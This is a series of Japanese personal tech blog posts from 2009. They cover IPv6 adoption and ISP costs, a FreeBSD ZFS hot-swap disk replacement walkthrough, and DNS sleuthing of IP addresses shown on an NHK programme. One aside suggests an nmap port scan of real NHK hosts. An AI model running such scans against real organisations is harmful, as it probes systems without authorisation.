私的には、延命するコストより、IPv6へ移行するコストのほうが安そうに見える気がします（素人意見ですが）。

IPv6へ移行したらしたで、結局IPv4はなくならないだうし、キャリアグレードNATの代わりにトランスレータ箱が必要になるから、この部分の投資は必要だろうけれども、v4の経路数をわざわざ増やしてバックボーンの維持コストをかけるぐらいならその投資で、v6に対応させて準備したほうが現実的な気がします。
ま、どの道キャリアグレードNATにしろ、トランスレーターにしろ、アプリケーションの動作問題がいろいろと出そうなので、この点についてのサポートコストは結局かかわらないか。。。そういう気がしてきたぞ。。

まあ、少なからず、IPv4を利用するにあたっても、なにかしらコストがかかるでしょうね。今まで以上に･･･。

てことで、JPNIC-IP-USERS で、IPアドレス税などで3月ごろにぎわっていましたね。。。ま、それ系にかかわっていないので面白おかしく見ていますけど。この先どうなるんでしょうね。ま、結局は枯渇だー、IANAからの割り当て空間が無くなったー。となったときこそ、弱肉強食な時代が来るでしょうね。少なくとも割り当ての単価が上がっていそうな気がします。

在学中から再三いってたが、いまだにすごい有様なので、ネタ投下。

（ ﾟдﾟ）ﾎﾟｶｰﾝ

キャンパス・アベニューこっちは、SSL証明書を取ったようですね。
個人情報てんこ盛りですから（ｗ
過去の日記にも書いていましたね。。

もう、今となっては縁がない気がしますが掘り起こしてもしかたないか（-_-;

あのコロの脆弱性は楽しかったなあ(遠い目）

2404:e000::/32   MKIネットワーク・ソリューションズ株式会社  MKInet-JPNIC-JP-20081222
    Japan Network Information...  2008/12/23 100% 
2400:3000::/32   日本インターネットエクスチェンジ株式会社   JPIX-JPNIC-JP-20081224
    Japan Network Information...  2008/12/29 100% 
2001:df0:45::/48 NTT Loboratorie's Official Network         NTTECLINET
    NTT Loboratorie-s Officia...  2009/1/8 91% 
2404:1000::/32   SINGTEL TELECOMMUNICATION                  SINGTEL-JP-EXPAN-V6-20080115
    SINGTEL TELECOMMUNICATION     2009/1/15 0% 
2404:9000::/32   株式会社ハイネット                         HI-NET-JPNIC-JP-20090121
    Japan Network Information...  2009/1/21 0% 
2400:3800::/32   関西マルチメディアサービス株式会社         ZAQ-JPNIC-JP-20090128
    Japan Network Information...  2009/1/28 0% 
2001:df0:46::/48 大学共同利用機関法人情報・システム研究機構 国立情報学研究所 TEIN2-JP
    National Institute of Inf...  2009/2/6 19% 
2400:7800::/32   株式会社ＮＴＴぷらら                       PLALA-JPNIC-JP-20090210
    Japan Network Information...  2009/2/11 100% 
2400:a800::/32   株式会社 インターリンク                    INTERLINK-JPNIC-JP-20090212
    Japan Network Information...  2009/2/13 0% 
2001:de8:c::/48  BBIX株式会社                               BBIX-NET-20090303
    BBIX, Inc.                    2009/3/3 0% 
2405:e800::/32   インターナップ・ジャパン株式会社           InternapJapan-JPNIC-JP-20090317
    Japan Network Information...  2009/3/17 0% 
2405:f800::/32   株式会社UCOM                               usen-JPNIC-JP-20090318
    Japan Network Information...  2009/3/18 0% 
2406:800::/32    クララオンライン株式会社                   CLARAONLINE-V6-NET-20090319
    CLARA ONLINE, Inc.            2009/3/19 0% 
2406:2800::/32   トナミ運輸株式会社                         CORALNET-JPNIC-JP-20090320
    Japan Network Information...  2009/3/20 0% 
2406:b800::/32   有限会社銀座堂                             BT-JPNIC-JP-20090410
    Japan Network Information...  2009/4/14 0% 

MKIネットワーク、JPIX、ZAQ、PLALA、INTERLINK、INTERNAP、USEN、クララオンラインと、IPアドレスを取得しているようだ。
クララオンラインや、Plala、INTERLINK、USENあたりがいつからIPv6サービスを始めるか気になる今日この頃。

逆引き出来ない固定IPを制限から外して貰えないかと思って管理者にメール出したら、 
Host unknown (Name server: ircnet.jp.: no data known) 
とか返ってきた。。。泣きたい 

復旧させないらしいです。あきらめてください(ヒドイ）
ircnet.jp のMLおよびメールサーバは死滅しました。

あまり、情報が無かったのでまとめてみました。
家の中では、DHCPで配りつつ、連番で割り振るということをやっているため、非常に重要で、
ISPとかでは当たり前のように使われていると思いますが、情報があまり無かったために
まとめてみました。

使えるバージョンとにも気をつける必要がありますが、hexも9.4あたりから扱えるようになっており、IPv6+DHCPv6環境でも比較的容易に扱えるようになったのではないかと思います。

去年の4/2あたりに死んだようで、1年以上放置らしい。
この状況だと現実的にはもう、復旧しないんだろな。

なんか、最悪な対応だなあ。
復旧したかと思えばサービス終了。2ヶ月間、ユーザに影響を与えておいて、開設時の目的を達成したという理由でトラブルをトリガにして終了するなんて、非常に卑怯な対応なのではないかなと。
それを理由にするなんてね。
私は直接的なユーザじゃなかった(アカウントは取得してた)けど、それならそれでここまで引っ張らずにさっさと公表していれば、最初からあきらめて移転していた人もいるかもしれない。引っ張っておいてこれはないだろうと思いました。
NTTDATAの信頼度も一気にがた落ちになったのではないでしょうかね。

＜サービス終了のお知らせ＞
Doblogのサービスを、2009年5月30日（土）をもちまして終了いたします。なお、終了にあたり、ブログ移転先の周知等のためにサービスを一時的に再開いたします。

Doblogは、2009年2月8日（日）午前10時頃よりハードディスク故障のためにサービスが停止いたしました。 故障発生以降、情報（記事データ、画像データなど）の復旧と、復旧した情報をダウンロードできる環境の構築作業を実施してまいりました。

一連の復旧作業により、故障発生の前日である2月7日未明時点のバックアップデータが復旧いたしました。
2月7日未明以降のバックアップデータは存在していないため、復旧作業を終了いたしました。
試算では99%以上の情報は復旧できたものと考えておりますが、全ての情報の復旧には至りませんでした。
復旧させることができなかった情報を投稿されたユーザーの皆様、長きに渡るサービス停止によりご利用いただけなかったユーザーの皆様にご迷惑をおかけいたしましたこと、深くお詫び申し上げます。

復旧作業の終了を受け、今後のDoblogについて検討した結果、Doblog開設時の目的である、ブログシステムを構築するための技術的知見、およびコミュニティサービスを運用・運営するためのノウハウの蓄積については十分に達成できたものと考え、サービスを終了するという判断をいたしました。

しかも、基本業務委託料金：１万円/月、評価基準：クリック数 。男性の皆様やってみてはいかが？（笑）

静岡のデータバックアップサーバ兼、DHCPサーバ（各vlan10個ぐらいに配っている）マシンのHDDが足りなくなり、しのぎしのぎ運用していたが、もう限界に来たのと、ストレージサーバを設置するということで、WDの1TB2本、Seagateの1TBを1本買ってきました。

メインマシンには、去年購入した750GBのSeagateのHDDがついており、これを新しいHDDに交換し、バックアップサーバに750GBのHDDを取り付けることにしました。
これで、バックアップ容量が750GBとなる予定です。

バックアップサーバにはFreeBSD7.1が入っており、zfsで運用しています。
zfsを使いたかったのは、スナップショットの作成ができるため、世代バックアップを行うことができるからです。
Solarisを使わなかったのは、私が単純に嫌いなのと、いろいろと作りこむとき面倒なので、FreeBSDにしました。
portsでいろいろといれれるし、configureオプションをかえれるので..

で、オンラインのまま、HDDを交換してみたので手順を書いてみます。

まず、新しいHDDを取り付けるのと、バスを変更したくなかったので、次のようにしました。

# zpool export bk1
# atacontrol list
  ATA channel 0:
      Master:      no device present
      Slave:   ad1 <ST3400832A/3.01> ATA/ATAPI revision 7
  ATA channel 1:
      Master:      no device present
      Slave:       no device present
  ATA channel 2:
      Master:  ad4 <Maxtor 6V300F0/VA111900> Serial ATA II
      Slave:       no device present
  ATA channel 3:
      Master:      no device present
      Slave:       no device present
  ATA channel 4:
      Master:      no device present
      Slave:       no device present
  ATA channel 5:
      Master:      no device present
      Slave:       no device present
# atacontrol detach ata2
# atacontrol list
  ATA channel 0:
      Master:      no device present
      Slave:   ad1 <ST3400832A/3.01> ATA/ATAPI revision 7
  ATA channel 1:
      Master:      no device present
      Slave:       no device present
  ATA channel 2:
      Master:      no device present
      Slave:       no device present
  ATA channel 3:
      Master:      no device present
      Slave:       no device present
  ATA channel 4:
      Master:      no device present
      Slave:       no device present
  ATA channel 5:
      Master:      no device present
      Slave:       no device present

そして、ディスクの交換および取り付けをすると、自動的に認識してくれます。
dmesg をみれば、次のように検出しているので、atacontol list でも確認ができます。

 ad4: 715404MB <Seagate ST3750330AS SD1A> at ata2-master SATA150
 ad6: 286188MB <Maxtor 6V300F0 VA111900> at ata3-master SATA300

# atacontrol list
ATA channel 0:
    Master:      no device present
    Slave:   ad1 <ST3400832A/3.01> ATA/ATAPI revision 7
ATA channel 1:
    Master:      no device present
    Slave:       no device present
ATA channel 2:
    Master:  ad4 <ST3750330AS/SD1A> Serial ATA v1.0
    Slave:       no device present
ATA channel 3:
    Master:  ad6 <Maxtor 6V300F0/VA111900> Serial ATA II
    Slave:       no device present
ATA channel 4:
    Master:      no device present
    Slave:       no device present
ATA channel 5:
    Master:      no device present
    Slave:       no device present

ここまで正常に確認ができれば、あとは、zpoolのimportおよびattachをします。
今回、古いHDDは、ad6となっていますので、importした後に確認。
そして、新しく取り付けたHDDをattachします。

# zpool import -a
# zpool status
  pool: bk1
 state: ONLINE
 scrub: none requested
config:

        NAME        STATE     READ WRITE CKSUM
        bk1         ONLINE       0     0     0
          ad6s1     ONLINE       0     0     0

errors: No known data errors

# zpool attach bk1 ad6s1 ad4

これで、ディスクを丸々使ってくれるようになります。
成功すると、次のような結果になります。

# zpool status
  pool: bk1
 state: ONLINE
status: One or more devices is currently being resilvered.  The pool will
        continue to function, possibly in a degraded state.
action: Wait for the resilver to complete.
 scrub: resilver in progress, 0.00% done, 206h40m to go
config:

        NAME        STATE     READ WRITE CKSUM
        bk1         ONLINE       0     0     0
          mirror    ONLINE       0     0     0
            ad6s1   ONLINE       0     0     0
            ad4     ONLINE       0     0     0

うーん。206時間もかかるよ。ﾏﾏﾝorz
てことで、しばらく時間を置いて改めて試してみます。

# zpool status
  pool: bk1
 state: ONLINE
status: One or more devices is currently being resilvered.  The pool will
        continue to function, possibly in a degraded state.
action: Wait for the resilver to complete.
 scrub: resilver in progress, 6.96% done, 3h39m to go
config:

        NAME        STATE     READ WRITE CKSUM
        bk1         ONLINE       0     0     0
          mirror    ONLINE       0     0     0
            ad6s1   ONLINE       0     0     0
            ad4     ONLINE       0     0     0

では、どれぐらいの速度が出ているか、見てみましょう。
速度を調べるには、zfs iostat 1 および　iostat 1を使ってみるとよいです。
zfs iostat は、ファイルシステム的に出ている速度、iostat は、デバイス的に出ている速度がわかります。

# zpool iostat 1 |grep -v s1
               capacity     operations    bandwidth
pool         used  avail   read  write   read  write
bk1          274G  4.34G    803     65  18.5M   198K
bk1          274G  4.34G    396     25  40.8M  37.4K
bk1          274G  4.34G    379     21  39.3M  29.0K
bk1          274G  4.34G    510      4  62.8M  25.5K
bk1          274G  4.34G    437      3  53.9M  24.0K
bk1          274G  4.34G    404     59  27.8M  62.4K
bk1          274G  4.34G    354     16  35.5M  21.5K
bk1          274G  4.34G    491      4  60.3M  29.5K
bk1          274G  4.34G    506      3  62.2M  24.0K
bk1          274G  4.34G    397      3  47.9M  19.0K

# iostat 1
      tty             ad1              ad6              ad4             cpu
 tin tout  KB/t tps  MB/s   KB/t tps  MB/s   KB/t tps  MB/s  us ni sy in id
   1   75 17.49   2  0.03  50.72 386 19.10  38.62 468 17.64   0  0 10  1 89
   0  231  0.00   0  0.00  50.19 453 22.19  37.96 529 19.59   0  0 25  1 74
   0   77  0.00   0  0.00  52.46 518 26.55  44.65 574 25.03   0  0 14  1 85
   0   77  0.00   0  0.00  47.83 523 24.45  46.00 489 21.95   0  0 12  1 86
   0   77  0.00   0  0.00  55.29 681 36.79  55.16 700 37.73   0  0 16  0 84
   0   77  0.00   0  0.00  44.38 328 14.20  33.93 347 11.49   0  0  4  1 94
   0   77  0.00   0  0.00  46.85 418 19.15  35.05 490 16.78   0  0 15  1 85
   0   77  0.00   0  0.00  28.40 457 12.67  11.57 732  8.28   0  0 29  1 70
   0   77  0.00   0  0.00  35.52 486 16.84  19.33 569 10.75   0  0 20  0 80

おおよそ、20-30MB/sぐらい出ていることがわかります。また、iostatは、物理デバイス単位でわかるため便利です。
ただ、Read/Writeが別々にわからないのですが、どうやれば取れるのかはちょっとわかりません。
manを見た限りでは見つけれなかった...

最後に、mirrorが終わった後に、古いHDDをdetachして、atacontrol で切り離しで切断すれば、再起動なしに作業が完了できるというわけです。
zfsでは、自動的にボリュームサイズが大きくなるため、交換作業が非常に楽になります。
mirrorしている場合、一番小さいディスクのサイズがボリュームサイズになりますが、小さいディスクが無くなれば、 そのセットの中で次に、一番小さいHDDのサイズにボリュームサイズが自動的に拡大されるはずなので、1本のディスクしかなければ、自動的にそのサイズになるという寸法です。てことで、zfsいいよ、zfs !

ということで、今朝の5時過ぎに終わったようです。

# zpool status
  pool: bk1
 state: ONLINE
 scrub: resilver completed with 0 errors on Sun Apr 26 05:08:17 2009
config:

        NAME        STATE     READ WRITE CKSUM
        bk1         ONLINE       0     0     0
          mirror    ONLINE       0     0     0
            ad6s1   ONLINE       0     0     0
            ad4     ONLINE       0     0     0

errors: No known data errors

# zpool list
NAME SIZE    USED   AVAIL    CAP  HEALTH     ALTROOT
bk1                     278G    274G   4.34G    98%  ONLINE     -

現在、ad4が750GB、ad6が300GBの玉でミラーが完成した状態ですが、古い玉をdetachして見ましょう。

# zpool detach bk1 ad6s1
# zpool status
  pool: bk1
 state: ONLINE
 scrub: resilver completed with 0 errors on Sun Apr 26 05:08:17 2009
config:

        NAME        STATE     READ WRITE CKSUM
        bk1         ONLINE       0     0     0
          ad4       ONLINE       0     0     0

errors: No known data errors
# zpool list
NAME SIZE    USED   AVAIL    CAP  HEALTH     ALTROOT
bk1                     698G    274G    424G    39%  ONLINE     -

こんな感じで大きくなりました。ボリュームが拡大されたので、次ミラーを作るときは、現在のより大きいディスクを取り付け、交換していくと、ボリュームを徐々に大きくしていくことができます。zfsの素敵なところです。

では、HDDを取り外してみたいと思います。
現在は次のように接続されているので、その一覧を取得します。

# atacontrol list
ATA channel 0:
    Master:      no device present
    Slave:   ad1 <ST3400832A/3.01> ATA/ATAPI revision 7
ATA channel 1:
    Master:      no device present
    Slave:       no device present
ATA channel 2:
    Master:  ad4 <ST3750330AS/SD1A> Serial ATA v1.0
    Slave:       no device present
ATA channel 3:
    Master:  ad6 <Maxtor 6V300F0/VA111900> Serial ATA II
    Slave:       no device present
ATA channel 4:
    Master:      no device present
    Slave:       no device present
ATA channel 5:
    Master:      no device present
    Slave:       no device present

では、detach して、また一覧を取得してみましょう。

# atacontrol detach ata3

subdisk6: detached
ad6: detached

# atacontrol list
ATA channel 0:
    Master:      no device present
    Slave:   ad1 <ST3400832A/3.01> ATA/ATAPI revision 7
ATA channel 1:
    Master:      no device present
    Slave:       no device present
ATA channel 2:
    Master:  ad4 <ST3750330AS/SD1A> Serial ATA v1.0
    Slave:       no device present
ATA channel 3:
    Master:      no device present
    Slave:       no device present
ATA channel 4:
    Master:      no device present
    Slave:       no device present
ATA channel 5:
    Master:      no device present
    Slave:       no device present

あとは、そのまま切断してもかまいません。
SATAはホットスワップに対応しているものを使用する必要がありますが、ほとんどの場合は何とかなってしまいます。
ただし、対応といっていないものもできてしまいますので、できたからといってご自身での責任をの上、作業を行ってください。

参考リンクとして、 atacontrolがあげられます。zfsについては、頭の中に資料があり、どっかで呼んだ記憶が無いので、有用な情報があればリンクをよろしくですｗ

Microsoftであたった、ML110をストレージサーバとして構築してみました。
OSには、OpenSolarisを入れて、zfsを使ってみます。

そのために、ホットスワップができることが必要条件だったために、 CENTURY:３代目 技あり！楽ラック！（CWRS3-BK）を購入し、2台のHDDを取り付けミラーを行うことにしました。

目的はiscsi/samba/nfsの三つ。
あとは、もう一台のML115にvmware esx3iをいれ、そこに、Windows2008Serverを入れて、例のイベントの環境が出来上がりとなります。

いま、VMWareServer1.0Xの環境をごっそりとそちらへ移動、その他サーバがNFSの入れ子状態になっていたり、RAIDになっていなかったりするサーバ類もあるので、今回まとめてこのストレージサーバに一任させることにしました。
そのため、サービスにも使用しているため、非常に重要な役割となります。
最初、いま、部屋に転がって遊んでいるDL320sを使おうとしましたが、うるさい、電気喰う、ということで、しばらくはパフォーマンスが足りなくなるまでこの構成で運用する予定です。
さらにパフォーマンスが足りなくなったときには、DL320を突っ込みましょう。それまでのお預けです。
自宅データセンター?では無いけれども、普通じゃない環境が着々と構築されていくのですね。。
これで、不安だったストレージ関係がすっきりするでしょう。枕を高くして安心して寝れるかも。
本当は年末にしたかったのですが、ものが手に入らなく、あきらめていました。。。

NHKでITホワイトボックスという番組が現在放送中で、録画していたのを見ていました。
1回目は、さくらインターネットの田中さんが出演するなど、いろいろとありました。
2回目について、ちょっと面白いのを見つけたので取り上げてみます。

まず、最初にそのとき放送していた内容の写真です。

これは、IPアドレスについて説明をするところのシーンですが、気になったので調べてみました。

まずは、itwb@nhk.or.jp と書いて、IPアドレス 133.12X.5X.28 と書いているので、まずは、MXのIPアドレスを調べ、Aレコードを調べてみるとしましょう。

$ host -tmx nhk.or.jp
nhk.or.jp mail is handled by 10 mi.mxl.2iij.net.

$ host mi.mxl.2iij.net.
mi.mxl.2iij.net has address 202.214.64.6
mi.mxl.2iij.net has address 202.214.64.7

MXは、IIJのようで、ぜんぜん違うIPアドレスです。

次にAレコードを調べてみましょう。

$ host nhk.or.jp
nhk.or.jp mail is handled by 10 mi.mxl.2iij.net.

Aレコードも無いようです。じゃあ、このIPアドレス空間は何かということを調べてみましょう。

この133という空間は古くから存在するところで、whoisを使うのではなく、
ip-list-j.txtという昔にJPNICから割り当てられていたデータベースを公開していたリストを使用します。こちらのほうが早いでしょう。
ということで該当するネットワークアドレス一覧は次のとおりです。

133.120.0.0                               株式会社 東芝 
133.121.0.0                               アダムネット株式会社 
133.122.0.0                               オムロン ソフトウェア株式会社 
133.123.0.0                               株式会社フォア・チューン 
133.125.0.0                               株式会社システムソフト 
133.126.0.0                               スワイヤ トランステック株式会社 
133.127.0.0                               日本放送協会放送技術研究所 
133.128.0.0                               国際電信電話株式会社 
133.129.0.0                               株式会社大林組 

上記から見てわかるように、この空間にはNHKのブロックが存在しており、
133.127.0.0/日本放送協会放送技術研究所というのがあるのがわかります。
NHKが他組織のIPアドレス空間を使うことは無いでしょう。

本当に書きたかった空間は、少し絞ることができました。
では、次にどのIPアドレスをマスクしたかったのでしょうか。

あとは、残るは10個と絞られました。

次は、hostコマンドなので、逆引きを調べれば何かヒントがあるかもしれません。

for i in `seq 0 9`; do host 133.127.5$i.28; done
28.50.127.133.in-addr.arpa domain name pointer h028.n050.nhk.or.jp.
28.51.127.133.in-addr.arpa domain name pointer h028.n051.nhk.or.jp.
28.52.127.133.in-addr.arpa domain name pointer h028.n052.nhk.or.jp.
28.53.127.133.in-addr.arpa domain name pointer h028.n053.nhk.or.jp.
28.54.127.133.in-addr.arpa domain name pointer h028.n054.nhk.or.jp.
28.55.127.133.in-addr.arpa domain name pointer h028.n055.nhk.or.jp.
28.56.127.133.in-addr.arpa domain name pointer h028.n056.nhk.or.jp.
28.57.127.133.in-addr.arpa domain name pointer h028.n057.nhk.or.jp.
28.58.127.133.in-addr.arpa domain name pointer h028.n058.nhk.or.jp.
28.59.127.133.in-addr.arpa domain name pointer h028.n059.nhk.or.jp.

うーん。どれのことだったのかわかりませんでした（しょんぼり）

あとは、とことん調べてやるというのであれば、ping/telnet などで試してみるといいでしょう。
あえて、nmap -sT -P0 -p 21,22,25,80,110,443 とかは書きません（ぉぃ

IPアドレスが表示されたら、気になって調べてしまうのはこの業界の性ですね。
それにしても、MXはIIJを使っているのに、放送ではNHKの空間を表示するなど、これは意識しているのでしょうかね。
NHKの空間までマスクする理由がいまいちわかりませんでしたが。。。なぜでしょうかね。
と書けば、誰かが回答してくれるのかしら(^^;

もっとやるなら、専用のMXを作成して、説明するなどそこまでやってほしかったな。到達製の有無はおいておいて。
たとえば、itwb.nhk.or.jp などのドメインでもよかったのではないでしょうか。
でも、なぜ、nhk.or.jp のドメインを使用したのでしょうか。
itwb@example.jp とかでもよかったのではないでしょうか。。

とおもい、調べてみたらありました(笑)

$ host itwb.nhk.or.jp mx
host: couldn't get address for 'mx': not found
$ host iron.nhk.or.jp.
iron.nhk.or.jp has address 133.127.64.163

でも、絞られた空間とは違うようです(^^;;

一応オチは見つけたらこれでok？ (^^;;

次に、IT-WHITEBOX.JP を登録とあったので調べてみたら、ドメインの取得のみで、DNSが登録されていませんが、テレビでは、登録されているように見えます。
最終更新日が2009/3/27なので、その日にNSレコードが削除されたのでしょうか。。。

映像を見る限り、JPRSの中なのでしょうか。気になる今日この頃です(-;

そして、公開連絡窓口は、おそらく代理公開だとはおもいますが、日本レジストリサービス JPDirect となっています。 なぜそれなのに、モザイクをかける必要があったのか気になるところです。

さらに突っ込みをいれると、nslookupをしている映像は、NHK社内でしょうか。
参照しているDNSサーバが 133から始まっているように見えます。

そして、hdLinux% nslookup として、そこもマスクしていますが、取得したドメインまで、マスクする必要は無いでしょう。
編集した人はあまり詳しくないのかな。。

ちょっと、やりすぎてしまった感がでていますね、、、。

NHKでは所在等一切明かさないということで放送していましたが、digで調べてみたところ次のような結果になりました。
そのうちのどれかの事業者のデータセンターなのでしょうね。
この担当者がわかれば、どこのデータセンター化わかるでしょう。。。

$ dig jp ns


;; ANSWER SECTION:
jp.                6239    IN      NS      a.dns.jp.
jp.                6239    IN      NS      b.dns.jp.
jp.                6239    IN      NS      c.dns.jp.
jp.                6239    IN      NS      d.dns.jp.
jp.                6239    IN      NS      e.dns.jp.
jp.                6239    IN      NS      f.dns.jp.
jp.                6239    IN      NS      g.dns.jp.

;; ADDITIONAL SECTION:
a.dns.jp.          22313   IN      A       203.119.1.1      // 203.119.1.0/24 JPRS - jpix? 
a.dns.jp.          22313   IN      AAAA    2001:dc4::1
b.dns.jp.          908     IN      A       202.12.30.131    // 202.12.30.0/24 JPNIC - wide?
b.dns.jp.          74916   IN      AAAA    2001:dc2::1
c.dns.jp.          962     IN      A       204.74.112.245   // US Internet Media Network
c.dns.jp.          20205   IN      AAAA    2001:502:d399::245
d.dns.jp.          928     IN      A       210.138.175.244  // 210.138.174.0/23 IIJ ＠Osaka
d.dns.jp.          1046    IN      AAAA    2001:240::53
e.dns.jp.          983     IN      A       192.50.43.53     // 192.50.43.0/24 WIDE @Osaka
e.dns.jp.          21537   IN      AAAA    2001:200:c000::35
f.dns.jp.          81770   IN      AAAA    2001:2f8:0:100::153 // 2001:02f8::/48 SINET-V6-NET
g.dns.jp.          62883   IN      A       203.119.40.1     // 203.119.40.0/24 JPRS - jpix?

てことで、初めて知りましたが、f.dns.jp は、IPv6のみなんですね。。

では、放送された映像では、次の次のようなサーバが使用されていました。

映像では、Sunのロゴを隠していますが、見た限りでは、比較的最近のサーバのようです。

では、ここで推測。どのモデルを使用しているのでしょうか。。
筐体は2U、SAS HDDが4発取り付けが可能で、スロットイン対応のドライブ搭載のモデルを絞って見ましょう。
しかし、x86サーバとsparcの両系統が該当してしまいます。

• Sun Fire X4200
• Sun SPARC Enterprise T2000

さあて、どちらでしょう。
こういう用途ならば、Linuxを使う、x86_64なSolarisを使うとも考えにくい、ということで、T2000でしょうか。
とおもいましたが、でも、テプラには、free・・・01.tokyoという文字が見えることから、FreeBSDあたりではないかと思います。
すなわち、私の結論としては、X4200で、FreeBSDではないかということ、Tokyoに設置されたどれかのDNSサーバ（a/b/g.dns.jp）の一つという結果にたどり着きました。
ということ、tracerouteの結果から、想定できることとして、jpixのデータセンターか、JPNIC、JPRSの契約しているどこかのデータセンターあたりではないかと。
あくまでも予想ですが。。
そして、TeraTerminalの名前が、cpu0となっていたところが気になるところです(笑)
さらにぐぐってみたら、2ch.netの Sun安いぞ!?おい!11 〜みんなで使おうSunRay〜というスレがヒットしました(笑

それにしても、まるでメールサーバが、各rootからたどり、DNSサーバに問い合わせをしているような感じのイメージがしてしまいます。
確かに流れはあっていますが、DNSサーバがそのお仕事をして、メールサーバにそのIPアドレスを教えてくれるので、若干意味が違うような気がしました。 あと、DNSの木構造については、きっちりと説明があるのはいいですが、せめてDNS=Domain Name Systemという正式名称のことを説明してほしかったものです。
DNS = Domain Name Server と勘違いしている人多そう...

初めてしったのは、Mは、MuraiのMだったんですね。
由来をはじめて知りました。

最後は、LinuxでVirtualBoxを動かしたり再起動しているシーンが。
/home/mizutaniさんかしら。

というのが始まったがPPTPで提供するらしい。すなわち、端末に配布するということであって、自組織もしくは自ネットワーク内をIPv6対応にさせるものではない。
複数台PCがある場合や、PPTPを通さないネットワークの場合は考慮されていないこととなるだろう。
このサービスが始まってから、IPv6トンネリングサービスは無料になったようです。それまで、3000〜だったみたいですが。。

腐った上流のJGN2Plusの回線の影響で、www.iij.ad.jp のサイトなどを見ることができなかったので、
私が使っているPCすべてのIPv6スタックを削除した。

いつになったら、MTU問題が解決するのやら･･･。
もう1ヶ月ちかく、放置プレイをくらっています。
今年に 回線業者が某社にかわってから、あちこちで問題が出ているらしいです。
中の人みていたら、早く対応してほしいです。

IIJ.ad.jpのIPv6を買うと結構たかいんだよなあ。
それだけで、13000円かあ。iijmioは、あんまり使いたくないし。
帯域制限の15GBには絶対に引っかかる。

そんなのあっという間。15GBなんで。。。

データバックアップだけでざらです。。

でも、おんなじだけかけるなら、 KDDIにしたいな。こっちのほうが安いし。
でも、 IPv6の費用いれると、それほど安くないんだよね。
オプションが4000円。。。
IPv4の固定IPを使っている人は無償にしてもいいんではないの？とおもうんだけど。
v4の固定IPの数に対して金額が変わるのは納得ができないっつーか。
どうせ、/48で同じ空間しかもらえないんだろうしね。
金額の差がわからない。
DualStackにするのであれば、v4のサーバの数だけ、v6のサーバの数を増えると考えているのかなあ。
v6だけのサーバを作れば一概には言えないはずだけど。

てことで、ipv6.2ch.net に書き込みができなくなりました。
w3mなり、v6有効の鯖にはいって書き込むしかなさげ。どっかに、v6有効なsquidねーかなあ？（ぉぃ

そして、徐々にv6を見捨てていっております♪
見捨てたらずいぶん快適になりました。

これだけ騒いでいて、技術としてはこなれているはずなのに、はずしたら快適になる状況がおかしい。
そういう状況だから普及しないんだよ。いまだに。。(愚痴

アンチv6ではないけど、ノウハウはためたので、IPv6しゅーりょーってかんじかな。
こなれたときにノウハウを生かして有効にするというフェーズにきたのかもしれないｗ
昔のほうがもっと安定していたけど、今は不安定すぎ。昔のほうが快適だった。

と、ほとんど問題は上流が原因なのだが、上流およびほかに選択肢が無いという原因で、ここまで、否定派になるとは、自分でも思わなかった（−；
個人で簡単に維持ができるか、という枠を超えて、お金で解決すれば話は別
そのために、数少ないISPへ乗り換えて、現状のISPで物足りているのに、意味も無く、v4の回線維持費がさらに上がって、v6のためにそこまで、倍以上のv4の費用を支払い、v6を使うメリットは無い。そもそもこういう状況まできておいて、選択肢が無いのが間違っている。

てことで、フレッツ網の問題があるので、v6は当たり前のようにトンネルで提供、家庭用ユーザには、国内のルータメーカーと協力して（昔のfeel6みたいに、YAMAHAのルータにDTCPを設定して）v6を簡単に提供できるようなぐらいにしないといみがないです。
NGNとの係わり合いがあってマルチプレフィックス問題とかもあるけど、それまでは・・・。
どこもやろうとしていない気がしてならないんですよ。
そういう意味で、IIJ、KDDI、OCNあたりはがんばっているとは思いますが。。
Vectantあたり早く提供してくれないかな。そっこー、申し込みするんだが。
てことで、Vectantの担当にお願い中だったりします。
ひょっとして、もしみてたら、おねがいしますー。
いろいろと協力ぐらいはしますよ。

新たに得た情報では、MIPS(1526)を通さないとか。。
事業者が入札するとき、そこの点考慮されていなかったので、物理的に通らない、という状況らしい。。。
てことで、対応依頼中。エンドが上流の環境についていろいろと調べて、問題点を切り分けして、対応をお願いする時点でなにか、間違っているorz
そこは、上流自らが調べて、解決するべきなのでは、、とおもうが、情報を調べてお願いしたら対応してくれるので、そこは良しとしよう。。。(涙
インシデント発生後1ヶ月たっても、ぐだぐだな感じだけど、いつになったら解決するのだろう。。。

一部マスクをしたりしていますが。。
NANOGのMLに spamがきていました。。

これって、subscribeして、BCCとかに、nanog@を突っ込んだのかな。。
何をしたかったspamなのでしょう。。JASRACのことを国際的に訴えたかった?(笑）

Received: from s0.nanog.org (s0.nanog.org [IPv6:2001:48a8:6880:95::20])
 by bsd.gyojya.jp (Postfix)
 with ESMTP id C74899B427 for <tomo@xxxxxx>;
 Tue, 28 Apr 2009 15:16:09 +0900 (JST)
Received: from localhost ([::1] helo=s0.nanog.org)
 by s0.nanog.org
 with esmtp (Exim 4.68 (FreeBSD)) (envelope-from <***>) id 1LygbG-000O6y-1x;
 Tue, 28 Apr 2009 06:15:26 +0000
Received: from n3.grp.bbt.yahoo.co.jp ([202.93.86.162])
 by s0.nanog.org
 with smtp (Exim 4.68 (FreeBSD)) (envelope-from <***>)
 Tue, 28 Apr 2009 06:13:04 +0000
Received: from [202.93.76.232]
 by n3.grp.bbt.yahoo.co.jp
 with NNFMP;
 28 Apr 2009 06:12:59 -0000
X-Sender: alamiki1623@yahoo.co.jp
X-Apparently-To: TamanoYamato@yahoogroups.jp
Received: (qmail 93496 invoked from network);
 28 Apr 2009 06:12:58 -0000
Received: from unknown (203.141.35.245)
 by m5.grp.bbt.yahoo.co.jp
 with QMQP;
 28 Apr 2009 06:12:58 -0000
Received: from [61.199.94.160]
 by web3602.mail.tnz.yahoo.co.jp via HTTP;
 Tue, 28 Apr 2009 15:12:53 JST
To: TamanoYamato@yahoogroups.jp
From: <alamiki1623@yahoo.co.jp>
MIME-Version: 1.0
Mailing-List: list TamanoYamato@yahoogroups.jp; contact TamanoYamato-owner@yahoogroups.jp
Delivered-To: mailing list TamanoYamato@yahoogroups.jp
Precedence: bulk
Date: Tue, 28 Apr 2009 15:12:53 +0900 (JST)
Subject: 大和一家[00240] ニコ動の私の動画が消される…！
Content-Type: text/plain; charset=iso-2022-jp
X-Content-Filtered-By: Mailman/MimeDel 2.1.9
X-Mailman-Version: 2.1.9
Reply-To: TamanoYamato@yahoogroups.jp
List-Id: North American Network Operators Group <nanog.nanog.org>
List-Unsubscribe: <http://mailman.nanog.org/mailman/listinfo/nanog>

日付 ： 2009年02月03日 (火)
件名 ： ニコ動の私の動画が消される…！
  　続けて書いちゃいますが。ずっと書きたかったこと。

　ニコニコ動画、みんな知ってますよね。著作者でJASRAC会員の私が推奨しちゃいけないけど、
